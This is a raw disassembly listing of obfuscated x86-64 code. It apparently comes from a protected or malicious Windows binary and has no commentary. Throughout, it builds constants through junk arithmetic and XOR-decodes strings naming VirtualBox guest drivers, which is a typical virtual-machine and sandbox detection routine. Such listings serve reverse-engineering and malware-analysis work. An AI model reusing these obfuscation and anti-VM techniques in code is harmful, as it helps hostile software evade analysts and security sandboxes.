pushf
not r13d
add r13d, 0xf633a2fb
xor r13d, 0x86e11d4e
rol r13d, 0x62
popf
pushf
not r13d
add r13d, 0xb85eb4d6
xor r13d, 0x810d8a3c
rol r13d, 0x31
popf
xor r12w, r13w
mov word [rbp - 0xa], r12w
xor r15w, r13w
mov word [rbp - 8], r15w
xor r14w, r13w
mov word [rbp - 6], r14w
xor si, r13w
mov word [rbp - 4], si
xor di, r13w
mov word [rbp - 2], di
xor bx, r13w
mov word [rbp], bx
xor r11w, r13w
mov word [rbp + 2], r11w
xor r10w, r13w
mov word [rbp + 4], r10w
xor r9w, r13w
mov word [rbp + 6], r9w
xor r8w, r13w
mov word [rbp + 8], r8w
xor dx, r13w
mov word [rbp + 0xa], dx
xor cx, r13w
mov word [rbp + 0xc], cx
xor ax, r13w
mov word [rbp + 0xe], ax
xor eax, eax
mov word [rbp + 0x10], ax
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x200], xmm1
lea rax, [rbp - 0x2e]
mov r8, 0xffffffffffffffff
push rax
pushf
mov eax, 0x2930bde7
pushf
not eax
add eax, 0xc03169ce
xor eax, 0xd32cff51
rol eax, 0xbe
popf
pushf
not eax
add eax, 0xbba2de34
xor eax, 0xea90c906
rol eax, 0x10
popf
jmp 0x14027e8ce
inc r8
cmp word [rax + r8*2], 0
jne 0x140280165
push rax
pushf
mov eax, 0xad2b9430
pushf
not eax
add eax, 0xbdb84ec8
xor eax, 0xe75d0e87
rol eax, 0xc5
popf
pushf
not eax
add eax, 0xc849d83c
xor eax, 0xce12561d
rol eax, 0x53
popf
jmp 0x14027e8ce
push rax
pushf
mov eax, 0x9382b05a
pushf
not eax
add eax, 0x985052bc
xor eax, 0xf23c32bb
rol eax, 0x32
popf
pushf
not eax
add eax, 0xecafb6f1
xor eax, 0x91029c6c
rol eax, 0x7d
popf
pushf
not eax
add eax, 0x9717fdd4
xor eax, 0xd00fd4f7
rol eax, 0x3e
popf
jmp 0x14027e8ce
lea rdx, [rbp - 0x2e]
lea rcx, [rbp + 0x1f0]
call fcn.1401f6dc0
nop
mov ecx, 0x36fc23be
pushf
not ecx
add ecx, 0xed056f3e
xor ecx, 0xcfd8605c
rol ecx, 0
popf
pushf
not ecx
add ecx, 0xea7eed50
xor ecx, 0xd2acc473
rol ecx, 0x9e
popf
pushf
not ecx
add ecx, 0x9411d867
xor ecx, 0xab3596cf
rol ecx, 0x6e
popf
mov word [rbp - 0x70], cx
mov eax, 0xc63feabf
pushf
not eax
add eax, 0xb8775e48
xor eax, 0x816dd214
rol eax, 0xca
popf
pushf
not eax
add eax, 0xaa6411fe
xor eax, 0xc655732b
rol eax, 0xc8
popf
pushf
not eax
add eax, 0xfacbd4c0
xor eax, 0xbf5ac183
rol eax, 0xf9
popf
pushf
not eax
add eax, 0xb31577a7
xor eax, 0xc77832bf
rol eax, 0xa3
popf
mov dword [rsp + 0x28], eax
mov word [rsp + 0x22], ax
mov eax, 0xd676acb0
pushf
not eax
add eax, 0xadc28d49
xor eax, 0xe0bf5d7d
rol eax, 0xf2
popf
pushf
not eax
add eax, 0x821d1076
xor eax, 0x9bc830a3
rol eax, 0x6a
popf
mov word [rsp + 0x20], ax
movzx r14d, cx
movzx r13d, word [str.driversVBoxMouse.sys]
xor r13w, cx
movzx r15d, word [0x1400f239a]
xor r15w, cx
movzx edi, word [0x1400f239c]
xor di, cx
movzx ebx, word [0x1400f239e]
xor bx, cx
movzx r11d, word [0x1400f23a0]
xor r11w, cx
movzx r10d, word [0x1400f23a2]
xor r10w, cx
movzx r9d, word [0x1400f23a4]
xor r9w, cx
movzx r8d, word [reloc.WS2_32.dll_WSAStartup]
xor r8w, cx
movzx edx, word [0x1400f23a8]
xor dx, cx
movzx ecx, word [0x1400f23aa]
xor cx, r14w
movzx eax, word [0x1400f23ac]
xor ax, r14w
mov esi, 0xf8e07225
pushf
not esi
add esi, 0x8908690f
xor esi, 0x9b846d39
rol esi, 0x5e
popf
pushf
not esi
add esi, 0xef77ed55
xor esi, 0xee1f0660
rol esi, 0xec
popf
mov r12d, 0xdda4d73e
pushf
not r12d
add r12d, 0xf26e935f
xor r12d, 0xae6e9ca3
rol r12d, 0x94
popf
pushf
not r12d
add r12d, 0xa1a4a2b2
xor r12d, 0xf6746f74
rol r12d, 0xa3
popf
pushf
not r12d
add r12d, 0xc1cf10e6
xor r12d, 0xa507ab4b
rol r12d, 0x2f
popf
pushf
not r12d
add r12d, 0xa1648a84
xor r12d, 0xa2839367
rol r12d, 0x7f
popf
xor r12w, si
mov word [rbp - 0x6e], r12w
movzx r12d, word [rsp + 0x22]
xor r12w, si
mov word [rbp - 0x6c], r12w
mov r12d, 0x5ceaf039
pushf
not r12d
add r12d, 0xd6af296b
xor r12d, 0xcc177659
rol r12d, 0x57
popf
pushf
not r12d
add r12d, 0xc92570b8
xor r12d, 0x9d1dfbe3
rol r12d, 0x78
popf
pushf
not r12d
add r12d, 0x95a324d6
xor r12d, 0x9bc6de5d
rol r12d, 0x29
popf
pushf
not r12d
add r12d, 0xa2596fbe
xor r12d, 0xe3bb674a
rol r12d, 0x2f
popf
xor r12w, si
mov word [rbp - 0x6a], r12w
mov esi, 0x363b3a4f
pushf
not esi
add esi, 0xfab29a15
xor esi, 0xf85b6b67
rol esi, 0xa4
popf
pushf
not esi
add esi, 0x8d56d4f3
xor esi, 0xf6963f7c
rol esi, 0x3b
popf
pushf
not esi
add esi, 0x9714f7ff
xor esi, 0xfd35ce51
rol esi, 0xf6
popf
xor si, r14w
mov word [rbp - 0x68], si
mov esi, 0xc5eb263f
pushf
not esi
add esi, 0xe8bc1577
xor esi, 0xbebf5615
rol esi, 0x2b
popf
pushf
not esi
add esi, 0x9b92b1be
xor esi, 0x9dc99cce
rol esi, 1
popf
mov r12d, 0x1e78f2fd
pushf
not r12d
add r12d, 0x8762dff7
xor r12d, 0xbb956bdb
rol r12d, 0xdd
popf
pushf
not r12d
add r12d, 0xdb516280
xor r12d, 0x80afd19b
rol r12d, 0x30
popf
xor r12w, si
mov word [rbp - 0x66], r12w
mov r12d, 0x1fa50e03
pushf
not r12d
add r12d, 0xf49bbfd3
xor r12d, 0xdcd8039b
rol r12d, 0x2d
popf
pushf
not r12d
add r12d, 0xa0882a7e
xor r12d, 0xca72a978
rol r12d, 0x50
popf
xor r12w, si
mov word [rbp - 0x64], r12w
mov r12d, 0xf4d6241c
pushf
not r12d
add r12d, 0x902c9658
xor r12d, 0xa1ee7e2b
rol r12d, 0xba
popf
pushf
not r12d
add r12d, 0xcab2ea40
xor r12d, 0xe141a3f3
rol r12d, 0xb0
popf
pushf
not r12d
add r12d, 0xa50ff8a6
xor r12d, 0xfb139046
rol r12d, 0x80
popf
xor r12w, si
mov word [rbp - 0x62], r12w
mov r12d, 0xf948bed6
pushf
not r12d
add r12d, 0xd1158cc4
xor r12d, 0xc88aec45
rol r12d, 0xd5
popf
pushf
not r12d
add r12d, 0xbbf76e74
xor r12d, 0x99651c74
rol r12d, 0xb9
popf
pushf
not r12d
add r12d, 0x846e5fba
xor r12d, 0xce173286
rol r12d, 0xd
popf
xor r12w, si
mov word [rbp - 0x60], r12w
mov r12d, 0x8a939ae1
pushf
not r12d
add r12d, 0xef997de9
xor r12d, 0xec408fdf
rol r12d, 0x48
popf
pushf
not r12d
add r12d, 0xb3bb2b4b
xor r12d, 0xf3f22cf5
rol r12d, 0x80
popf
pushf
not r12d
add r12d, 0xf587cba6
xor r12d, 0xf69e0f2e
rol r12d, 0x2f
popf
pushf
not r12d
add r12d, 0x93a805cd
xor r12d, 0xf27831f2
rol r12d, 0x1c
popf
xor r12w, si
mov word [rbp - 0x5e], r12w
mov r12d, 0xc15123fb
pushf
not r12d
add r12d, 0xd1b4262f
xor r12d, 0xe5064c18
rol r12d, 0x5e
popf
pushf
not r12d
add r12d, 0x9f65c6aa
xor r12d, 0x808c731f
rol r12d, 0xe9
popf
xor r12w, si
mov word [rbp - 0x5c], r12w
movzx esi, word [rsp + 0x20]
mov r12d, 0x14025676
pushf
not r12d
add r12d, 0xaa3818e1
xor r12d, 0xc593ea05
rol r12d, 0x39
popf
pushf
not r12d
add r12d, 0xb00dad55
xor r12d, 0xd16661a0
rol r12d, 0x1e
popf
xor si, r12w
mov word [rbp - 0x5a], si
xor r14w, r12w
mov word [rbp - 0x58], r14w
xor r13w, r12w
mov word [rbp - 0x56], r13w
xor r15w, r12w
mov word [rbp - 0x54], r15w
xor di, r12w
mov word [rbp - 0x52], di
xor bx, r12w
mov word [rbp - 0x50], bx
xor r11w, r12w
mov word [rbp - 0x4e], r11w
xor r10w, r12w
mov word [rbp - 0x4c], r10w
xor r9w, r12w
mov word [rbp - 0x4a], r9w
xor r8w, r12w
mov word [rbp - 0x48], r8w
xor dx, r12w
mov word [rbp - 0x46], dx
xor cx, r12w
mov word [rbp - 0x44], cx
xor ax, r12w
mov word [rbp - 0x42], ax
xor eax, eax
mov word [rbp - 0x40], ax
xorps xmm0, xmm0
movups xmmword [rbp + 0x210], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x220], xmm1
lea rax, [rbp - 0x6e]
mov r8, 0xffffffffffffffff
nop dword [rax]
push rax
pushf
mov eax, 0xc74686c
pushf
not eax
add eax, 0xf2086068
xor eax, 0xaf54e06d
rol eax, 0xbf
popf
pushf
not eax
add eax, 0xe2c23fd8
xor eax, 0xac080c64
rol eax, 0xe9
popf
pushf
not eax
add eax, 0x84b04074
xor eax, 0xdd0fb83a
rol eax, 0x8d
popf
pushf
not eax
add eax, 0x80e098af
xor eax, 0xe7d3376c
rol eax, 0x41
popf
jmp 0x14027e8ce
inc r8
cmp word [rax + r8*2], 0
jne 0x1402807c5
lea rdx, [rbp - 0x6e]
lea rcx, [rbp + 0x210]
call fcn.1401f6dc0
nop
mov r9d, 0x5ac4238a
pushf
not r9d
add r9d, 0xd17b77f5
xor r9d, 0xb244c21e
rol r9d, 0x3a
popf
pushf
not r9d
add r9d, 0xacb0466a
xor r9d, 0x869c7810
rol r9d, 0xc8
popf
mov word [rbp + 0x80], r9w
movzx eax, word [0x1400f23c6]
xor ax, r9w
mov word [rsp + 0x22], ax
movzx eax, word [str.driversVBoxGuest.sys]
xor ax, r9w
mov word [rsp + 0x20], ax
movzx eax, word [0x1400f23ca]
xor ax, r9w
mov word [rsp + 0x26], ax
movzx eax, word [0x1400f23cc]
xor ax, r9w
mov word [rsp + 0x24], ax
movzx eax, word [0x1400f23ce]
xor ax, r9w
mov word [rsp + 0x38], ax
movzx eax, word [0x1400f23d0]
xor ax, r9w
mov word [rsp + 0x3a], ax
movzx eax, word [0x1400f23d2]
xor ax, r9w
mov word [rsp + 0x3c], ax
movzx eax, word [0x1400f23d4]
xor ax, r9w
mov word [rsp + 0x3e], ax
movzx r13d, word [reloc.WS2_32.dll_WSAStartup]
xor r13w, r9w
mov word [rsp + 0x40], r13w
movzx r12d, word [0x1400f23d8]
xor r12w, r9w
mov word [rsp + 0x2c], r12w
movzx r15d, word [0x1400f23da]
xor r15w, r9w
mov word [rsp + 0x2e], r15w
movzx r14d, word [0x1400f23dc]
xor r14w, r9w
movzx esi, word [0x1400f23de]
xor si, r9w
movzx edi, word [0x1400f23e0]
xor di, r9w
movzx ebx, word [0x1400f23e2]
xor bx, r9w
movzx r11d, word [0x1400f23e4]
xor r11w, r9w
movzx r10d, word [0x1400f23e6]
xor r10w, r9w
movzx r9d, word [reloc.WS2_32.dll_WSAStartup]
xor r9w, 0x5f
movzx r8d, word [reloc.WS2_32.dll_WSACleanup]
xor r8w, 0x5f
movzx edx, word [0x1400f23ec]
xor dx, 0x5f
movzx ecx, word [reloc.WS2_32.dll_WSAStartup]
xor cx, 0x5f
movzx eax, word [0x1400f23f0]
xor ax, 0x5f
mov r12d, 0xaf82ecf7
pushf
not r12d
add r12d, 0xb3939985
xor r12d, 0x9a760980
rol r12d, 0x13
popf
pushf
not r12d
add r12d, 0xc39f3d63
xor r12d, 0x83324a2d
rol r12d, 5
popf
mov r15d, 0xba14b612
pushf
not r15d
add r15d, 0xd27b4fcb
xor r15d, 0xafb67a30
rol r15d, 0x76
popf
pushf
not r15d
add r15d, 0xedaa846d
xor r15d, 0xc1580853
rol r15d, 0x75
popf
pushf
not r15d
add r15d, 0xda79dee4
xor r15d, 0xb28f6e45
rol r15d, 0x2c
popf
pushf
not r15d
add r15d, 0x8bf1c786
xor r15d, 0x8cb07855
rol r15d, 0x5a
popf
xor r12w, r15w
mov word [rbp + 0x82], r12w
mov r12d, 0xd6b41a71
pushf
not r12d
add r12d, 0xea613cde
xor r12d, 0xb9e725b1
rol r12d, 0x2a
popf
pushf
not r12d
add r12d, 0xc633beec
xor r12d, 0x9e143e42
rol r12d, 0x37
popf
xor r12w, r15w
mov word [rbp + 0x84], r12w
mov r15d, 0x2c0f9897
pushf
not r15d
add r15d, 0xca29ce5b
xor r15d, 0xd247e8c7
rol r15d, 0x1e
popf
pushf
not r15d
add r15d, 0xfecd64e0
xor r15d, 0x924f7998
rol r15d, 0xdb
popf
pushf
not r15d
add r15d, 0xee528dde
xor r15d, 0xac02b93d
rol r15d, 0xa9
popf
movzx r13d, r15w
xor r13w, 0x5f
mov word [rbp + 0x86], r13w
mov r12d, 0x982ae01
pushf
not r12d
add r12d, 0xd7ee81e5
xor r12d, 0xa156f810
rol r12d, 0x4b
popf
pushf
not r12d
add r12d, 0x9a7a6d92
xor r12d, 0xb27ad218
rol r12d, 0x8c
popf
xor r12w, word [rsp + 0x28]
mov word [rbp + 0x88], r12w
mov r12d, 0xd0e27083
pushf
not r12d
add r12d, 0xffdc316a
xor r12d, 0xf7f82b7b
rol r12d, 0x79
popf
pushf
not r12d
add r12d, 0xb8b8ee02
xor r12d, 0xfd06ea3e
rol r12d, 0xe1
popf
xor r12w, word [rsp + 0x28]
mov word [rbp + 0x8a], r12w
mov r12d, 0x26ae3c6d
pushf
not r12d
add r12d, 0xc8aca969
xor r12d, 0xbdfb63e0
rol r12d, 0x39
popf
pushf
not r12d
add r12d, 0xc6ff45fa
xor r12d, 0x97873bdb
rol r12d, 0xeb
popf
xor r12w, word [rsp + 0x28]
mov word [rbp + 0x8c], r12w
movzx r13d, r15w
xor r13w, 0x5f
mov word [rbp + 0x8e], r13w
mov r12d, 0xcf2132b5
pushf
not r12d
add r12d, 0xbe16bdcd
xor r12d, 0x9add0009
rol r12d, 0x51
popf
pushf
not r12d
add r12d, 0xef12f474
xor r12d, 0xb8d60c23
rol r12d, 0x85
popf
mov r15d, 0x113c63d9
pushf
not r15d
add r15d, 0x9f8aeeb0
xor r15d, 0x8ca524c5
rol r15d, 0x9a
popf
pushf
not r15d
add r15d, 0xfe890489
xor r15d, 0xb27c29d0
rol r15d, 0xf6
popf
xor r12w, r15w
mov word [rbp + 0x90], r12w
mov r12d, 0xa68c5d50
pushf
not r12d
add r12d, 0xafff4616
xor r12d, 0xce14e1ea
rol r12d, 6
popf
pushf
not r12d
add r12d, 0x9d65a5f1
xor r12d, 0x995f6409
rol r12d, 0x77
popf
pushf
not r12d
add r12d, 0xef5364dc
xor r12d, 0xf426073d
rol r12d, 0x19
popf
xor r12w, r15w
mov word [rbp + 0x92], r12w
mov r12d, 0x2752894c
pushf
not r12d
add r12d, 0x954aa09a
xor r12d, 0xe24349db
rol r12d, 0xa8
popf
pushf
not r12d
add r12d, 0xc9966de8
xor r12d, 0xe7bc912a
rol r12d, 0x64
popf
pushf
not r12d
add r12d, 0x97a26746
xor r12d, 0xfeee0257
rol r12d, 0x3a
popf
xor r12w, r15w
mov word [rbp + 0x94], r12w
mov r12d, 0xe9b3dee8
pushf
not r12d
add r12d, 0xbf5ede93
xor r12d, 0x9ee0bfa3
rol r12d, 0xdd
popf
pushf
not r12d
add r12d, 0xd7c313f9
xor r12d, 0xae5a6bf7
rol r12d, 0xd3
popf
xor r12w, r15w
mov word [rbp + 0x96], r12w
mov r12d, 0x27f2bb67
pushf
not r12d
add r12d, 0xc52df161
xor r12d, 0xdb2632c4
rol r12d, 0xb2
popf
pushf
not r12d
add r12d, 0xde9e42c1
xor r12d, 0xc1a92a4a
rol r12d, 0x23
popf
movzx r13d, r12w
xor r13w, r15w
mov word [rbp + 0x98], r13w
mov r15d, 0x9e346753
pushf
not r15d
add r15d, 0xc81e4ebd
xor r15d, 0xb478c08d
rol r15d, 0x64
popf
pushf
not r15d
add r15d, 0x99f651d3
xor r15d, 0xcfa26341
rol r15d, 0xda
popf
pushf
not r15d
add r15d, 0xa9a7b20d
xor r15d, 0x8b1aab49
rol r15d, 0xc
popf
xor r15w, word [rsp + 0x28]
mov word [rbp + 0x9a], r15w
mov r13d, 0x67552165
pushf
not r13d
add r13d, 0xe9bc5fb9
xor r13d, 0xa49e9d5a
rol r13d, 0xc8
popf
pushf
not r13d
add r13d, 0x83f163a7
xor r13d, 0xe9e0f88b
rol r13d, 0x9c
popf
pushf
not r13d
add r13d, 0xb3230738
xor r13d, 0xfcec9d17
rol r13d, 0x52
popf
mov r15d, 0x8b8a141f
pushf
not r15d
add r15d, 0x81fc668e
xor r15d, 0xf5b8e6e3
rol r15d, 0x7e
popf
pushf
not r15d
add r15d, 0xfc11d350
xor r15d, 0xf891726d
rol r15d, 0x53
popf
pushf
not r15d
add r15d, 0xf8336a17
xor r15d, 0xd0670c50
rol r15d, 0xe5
popf
pushf
not r15d
add r15d, 0xa1ea87c6
xor r15d, 0xd822496a
rol r15d, 0xc0
popf
xor r13w, r15w
mov word [rbp + 0x9c], r13w
movzx r13d, r12w
xor r13w, r15w
mov word [rbp + 0x9e], r13w
mov r12d, 0x7f8be8d5
pushf
not r12d
add r12d, 0xc4538581
xor r12d, 0x83c2ecb9
rol r12d, 0xaf
popf
pushf
not r12d
add r12d, 0x9373abc8
xor r12d, 0xdb404845
rol r12d, 0x90
popf
xor r12w, r15w
mov word [rbp + 0xa0], r12w
mov r12d, 0x7339f224
pushf
not r12d
add r12d, 0x9a771385
xor r12d, 0xc3b246bb
rol r12d, 0x30
popf
pushf
not r12d
add r12d, 0xbc7682b3
xor r12d, 0xe0b99a6b
rol r12d, 0x46
popf
pushf
not r12d
add r12d, 0xeedc498f
xor r12d, 0xfaec0e7b
rol r12d, 0xca
popf
pushf
not r12d
add r12d, 0xca177d9e
xor r12d, 0xed33392a
rol r12d, 0x78
popf
movzx r13d, r12w
xor r13w, r15w
mov word [rbp + 0xa2], r13w
mov r15d, 0xa2f50b39
pushf
not r15d
add r15d, 0xa061f8b7
xor r15d, 0xd2d42a31
rol r15d, 0xc
popf
pushf
not r15d
add r15d, 0xabcffb40
xor r15d, 0xb41fe731
rol r15d, 0xfa
popf
pushf
not r15d
add r15d, 0xcb64ffef
xor r15d, 0x80b7ec71
rol r15d, 7
popf
xor r15w, word [rsp + 0x28]
mov word [rbp + 0xa4], r15w
mov r15d, 0x7912ca86
pushf
not r15d
add r15d, 0xbba8240c
xor r15d, 0xb46ecbaf
rol r15d, 0x69
popf
pushf
not r15d
add r15d, 0xc663b0eb
xor r15d, 0xcf3f2bfd
rol r15d, 0x18
popf
xor r15w, word [rsp + 0x28]
mov word [rbp + 0xa6], r15w
movzx r13d, r12w
xor r13w, 0x5f
mov word [rbp + 0xa8], r13w
mov r15d, 0x733e35f
pushf
not r15d
add r15d, 0x8f299115
xor r15d, 0xbdc44f8e
rol r15d, 0x57
popf
pushf
not r15d
add r15d, 0xa1b79be0
xor r15d, 0x975f3b03
rol r15d, 0xbb
popf
pushf
not r15d
add r15d, 0xb2fac7c7
xor r15d, 0xb6a49671
rol r15d, 0x7e
popf
pushf
not r15d
add r15d, 0x90092af1
xor r15d, 0xd0da470f
rol r15d, 0xd4
popf
xor r15w, word [rsp + 0x28]
mov word [rbp + 0xaa], r15w
movzx r13d, r12w
mov r15d, 0x183a0152
pushf
not r15d
add r15d, 0x8dfee90b
xor r15d, 0xfd5ca883
rol r15d, 0x17
popf
pushf
not r15d
add r15d, 0xb7f7e156
xor r15d, 0x9f3f6520
rol r15d, 0x89
popf
pushf
not r15d
add r15d, 0xa7973905
xor r15d, 0xccf0f44c
rol r15d, 0xe4
popf
pushf
not r15d
add r15d, 0xd6fe7214
xor r15d, 0xc08776af
rol r15d, 0xd
popf
xor r13w, r15w
mov word [rbp + 0xac], r13w
movzx r13d, r15w
xor r13w, r15w
mov word [rbp + 0xae], r13w
movzx r13d, word [rsp + 0x22]
xor r13w, r15w
mov word [rbp + 0xb0], r13w
movzx r13d, word [rsp + 0x20]
xor r13w, r15w
mov word [rbp + 0xb2], r13w
movzx r13d, word [rsp + 0x26]
xor r13w, r15w
mov word [rbp + 0xb4], r13w
movzx r13d, word [rsp + 0x24]
xor r13w, r15w
mov word [rbp + 0xb6], r13w
movzx r13d, word [rsp + 0x38]
xor r13w, r15w
mov word [rbp + 0xb8], r13w
movzx r13d, word [rsp + 0x3a]
xor r13w, r15w
mov word [rbp + 0xba], r13w
movzx r13d, word [rsp + 0x3c]
xor r13w, r15w
mov word [rbp + 0xbc], r13w
movzx r13d, word [rsp + 0x3e]
xor r13w, r15w
mov word [rbp + 0xbe], r13w
movzx r13d, word [rsp + 0x40]
xor r13w, r15w
mov word [rbp + 0xc0], r13w
movzx r12d, word [rsp + 0x2c]
mov r13d, r15d
xor r12w, r15w
mov word [rbp + 0xc2], r12w
movzx r15d, word [rsp + 0x2e]
xor r15w, r13w
mov word [rbp + 0xc4], r15w
xor r14w, r13w
mov word [rbp + 0xc6], r14w
xor si, r13w
mov word [rbp + 0xc8], si
xor di, r13w
mov word [rbp + 0xca], di
xor bx, r13w
mov word [rbp + 0xcc], bx
xor r11w, r13w
mov word [rbp + 0xce], r11w
xor r10w, r13w
mov word [rbp + 0xd0], r10w
xor r9w, r13w
mov word [rbp + 0xd2], r9w
xor r8w, r13w
mov word [rbp + 0xd4], r8w
xor dx, r13w
mov word [rbp + 0xd6], dx
xor cx, r13w
mov word [rbp + 0xd8], cx
xor ax, r13w
mov word [rbp + 0xda], ax
xor eax, eax
mov word [rbp + 0xdc], ax
xorps xmm0, xmm0
movups xmmword [rbp + 0x230], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x240], xmm1
lea rax, [rbp + 0x82]
mov r8, 0xffffffffffffffff
nop dword [rax]
push rax
pushf
mov eax, 0x838eddf0
pushf
not eax
add eax, 0x8d083db9
xor eax, 0xbf783ff3
rol eax, 0x7b
popf
pushf
not eax
add eax, 0xc42bae34
xor eax, 0xe657a332
rol eax, 0xae
popf
jmp 0x14027e8ce
inc r8
cmp word [rax + r8*2], 0
jne 0x1402812f7
push rax
pushf
mov eax, 0x27474b4b
pushf
not eax
add eax, 0xf7e234fa
xor eax, 0x99b1a9a3
rol eax, 0x5c
popf
pushf
not eax
add eax, 0x911a560b
xor eax, 0xf4b02e64
rol eax, 0xaa
popf
pushf
not eax
add eax, 0xc323027c
xor eax, 0xfcf1495b
rol eax, 0xa7
popf
jmp 0x14027e8ce
push rax
pushf
mov eax, 0xd1497d4e
pushf
not eax
add eax, 0xb413bc20
xor eax, 0x9e8f49e7
rol eax, 0x3d
popf
pushf
not eax
add eax, 0xa0315daa
xor eax, 0xb0a8aec2
rol eax, 0x43
popf
jmp 0x14027e8ce
lea rdx, [rbp + 0x82]
lea rcx, [rbp + 0x230]
call fcn.1401f6dc0
nop
mov word [rbp + 0xe0], r13w
mov eax, 0xf3b7456d
pushf
not eax
add eax, 0x8f3e11f9
xor eax, 0xfe35091b
rol eax, 0x39
popf
pushf
not eax
add eax, 0xd6033469
xor eax, 0xd3054e81
rol eax, 0xb1
popf
pushf
not eax
add eax, 0xedb5aaee
xor eax, 0xe97cde88
rol eax, 0x69
popf
mov word [rsp + 0x2e], ax
mov ecx, 0x4c652ac8
pushf
not ecx
add ecx, 0xdd445825
xor ecx, 0xfd1daedf
rol ecx, 0xf2
popf
pushf
not ecx
add ecx, 0xca5f1899
xor ecx, 0xac499cb0
rol ecx, 0x5f
popf
pushf
not ecx
add ecx, 0xbd3c059c
xor ecx, 0xac38f150
rol ecx, 0x88
popf
pushf
not ecx
add ecx, 0xe08075fb
xor ecx, 0xc9b8c9e1
rol ecx, 0x4e
popf
mov word [rsp + 0x2c], cx
mov word [rsp + 0x40], cx
mov word [rsp + 0x3e], cx
movzx eax, word [0x1400f23f6]
xor ax, 0x5f
mov word [rsp + 0x3c], ax
movzx eax, word [str.drivers_vboxservice.sys]
xor ax, 0x5f
mov word [rsp + 0x3a], ax
movzx eax, word [0x1400f23fa]
xor ax, 0x5f
mov word [rsp + 0x38], ax
movzx eax, word [0x1400f23fc]
xor ax, 0x5f
mov word [rsp + 0x22], ax
movzx eax, word [0x1400f23fe]
xor ax, 0x5f
mov word [rsp + 0x20], ax
movzx eax, word [0x1400f2400]
xor ax, 0x5f
mov word [rsp + 0x26], ax
movzx eax, word [0x1400f2402]
xor ax, 0x5f
mov word [rsp + 0x24], ax
movzx eax, word [0x1400f2404]
xor ax, 0x5f
mov word [rsp + 0x42], ax
movzx r13d, word [reloc.WS2_32.dll_WSAStartup]
xor r13w, 0x5f
mov word [rsp + 0x44], r13w
movzx r12d, word [0x1400f2408]
xor r12w, 0x5f
mov word [rsp + 0x46], r12w
movzx r15d, word [0x1400f240a]
xor r15w, 0x5f
movzx r14d, word [0x1400f240c]
xor r14w, 0x5f
movzx esi, word [0x1400f240e]
xor si, 0x5f
movzx edi, word [0x1400f2410]
xor di, 0x5f
movzx ebx, word [reloc.WS2_32.dll_WSAStartup]
xor bx, 0x5f
movzx r11d, word [0x1400f2414]
xor r11w, 0x5f
movzx r10d, word [0x1400f2416]
xor r10w, 0x5f
movzx r9d, word [0x1400f2418]
xor r9w, 0x5f
movzx r8d, word [0x1400f241a]
xor r8w, 0x5f
movzx edx, word [0x1400f241c]
xor dx, 0x5f
movzx ecx, word [0x1400f241e]
xor cx, 0x5f
movzx eax, word [0x1400f2420]
xor ax, 0x5f
mov r12d, 0x32475f0c
pushf
not r12d
add r12d, 0xce7f6472
xor r12d, 0xdc9fa0a5
rol r12d, 0x71
popf
pushf
not r12d
add r12d, 0xc1962732
xor r12d, 0xd8f5898f
rol r12d, 0x7f
popf
pushf
not r12d
add r12d, 0xfb54d71b
xor r12d, 0xd605117d
rol r12d, 0xec
popf
pushf
not r12d
add r12d, 0xf8e01de1
xor r12d, 0xdbc67882
rol r12d, 0x17
popf
xor r12w, 0x5f
mov word [rbp + 0xe2], r12w
mov r12d, 0xc0c2a358
pushf
not r12d
add r12d, 0xa2148eba
xor r12d, 0x9dd814de
rol r12d, 0xdc
popf
pushf
not r12d
add r12d, 0xe47afc9b
xor r12d, 0xe2915889
rol r12d, 0x78
popf
pushf
not r12d
add r12d, 0xcce8d402
xor r12d, 0xa43b163b
rol r12d, 0xb5
popf
pushf
not r12d
add r12d, 0x9a55b2c7
xor r12d, 0xc193574a
rol r12d, 0x1d
popf
xor r12w, word [rsp + 0x28]
mov word [rbp + 0xe4], r12w
mov r12d, 0x2c7b0fa9
pushf
not r12d
add r12d, 0xa1735bef
xor r12d, 0xa6a4f3db
rol r12d, 0x1c
popf
pushf
not r12d
add r12d, 0xcd1bc116
xor r12d, 0xcd75b9b3
rol r12d, 0x74
popf
pushf
not r12d
add r12d, 0xd89cf513
xor r12d, 0xf2fcf469
rol r12d, 0xec
popf
pushf
not r12d
add r12d, 0xaa3c60e0
xor r12d, 0x82a5e0ea
rol r12d, 6
popf
xor r12w, word [rsp + 0x28]
mov word [rbp + 0xe6], r12w
mov r12d, 0x84183403
pushf
not r12d
add r12d, 0xd13a2c99
xor r12d, 0x9a19fc63
rol r12d, 0x77
popf
pushf
not r12d
add r12d, 0xcdd8ddb0
xor r12d, 0x926d41ab
rol r12d, 0x63
popf
xor r12w, 0x5f
mov word [rbp + 0xe8], r12w
mov r12d, 0x15df0f40
pushf
not r12d
add r12d, 0xb64c771a
xor r12d, 0xdb063de4
rol r12d, 0x9c
popf
pushf
not r12d
add r12d, 0xba0e0b8a
xor r12d, 0x83223e24
rol r12d, 0x16
popf
pushf
not r12d
add r12d, 0xc94638bc
xor r12d, 0xd39a8ca4
rol r12d, 0
popf
pushf
not r12d
add r12d, 0xd7b3a86d
xor r12d, 0xec7c50a2
rol r12d, 0xc3
popf
xor r12w, word [rsp + 0x28]
mov word [rbp + 0xea], r12w
mov r12d, 0x5d900d53
pushf
not r12d
add r12d, 0xbe95afa4
xor r12d, 0xbc29bf22
rol r12d, 0x7c
popf
pushf
not r12d
add r12d, 0xfd2a5be5
xor r12d, 0xbad49e28
rol r12d, 0xd6
popf
pushf
not r12d
add r12d, 0x8ff35569
xor r12d, 0xc16de011
rol r12d, 0x49
popf
pushf
not r12d
add r12d, 0xcd1b3280
xor r12d, 0x9cf1c5f7
rol r12d, 0xa3
popf
xor r12w, word [rsp + 0x28]
mov word [rbp + 0xec], r12w
mov r12d, 0xc7a5ff98
pushf
not r12d
add r12d, 0xa7564c65
xor r12d, 0x98b2727a
rol r12d, 0x69
popf
pushf
not r12d
add r12d, 0xd0c5f04c
xor r12d, 0x8f063443
rol r12d, 0x2f
popf
pushf
not r12d
add r12d, 0xf811b695
xor r12d, 0x88514bca
rol r12d, 0x25
popf
pushf
not r12d
add r12d, 0xadc54341
xor r12d, 0xa5495e48
rol r12d, 0x81
popf
xor r12w, word [rsp + 0x28]
mov word [rbp + 0xee], r12w
mov r12d, 0xae23be17
pushf
not r12d
add r12d, 0xd4bfb98c
xor r12d, 0xb867ce96
rol r12d, 0xe5
popf
pushf
not r12d
add r12d, 0xb35ed972
xor r12d, 0xd3ce1d1e
rol r12d, 0x91
popf
xor r12w, 0x5f
mov word [rbp + 0xf0], r12w
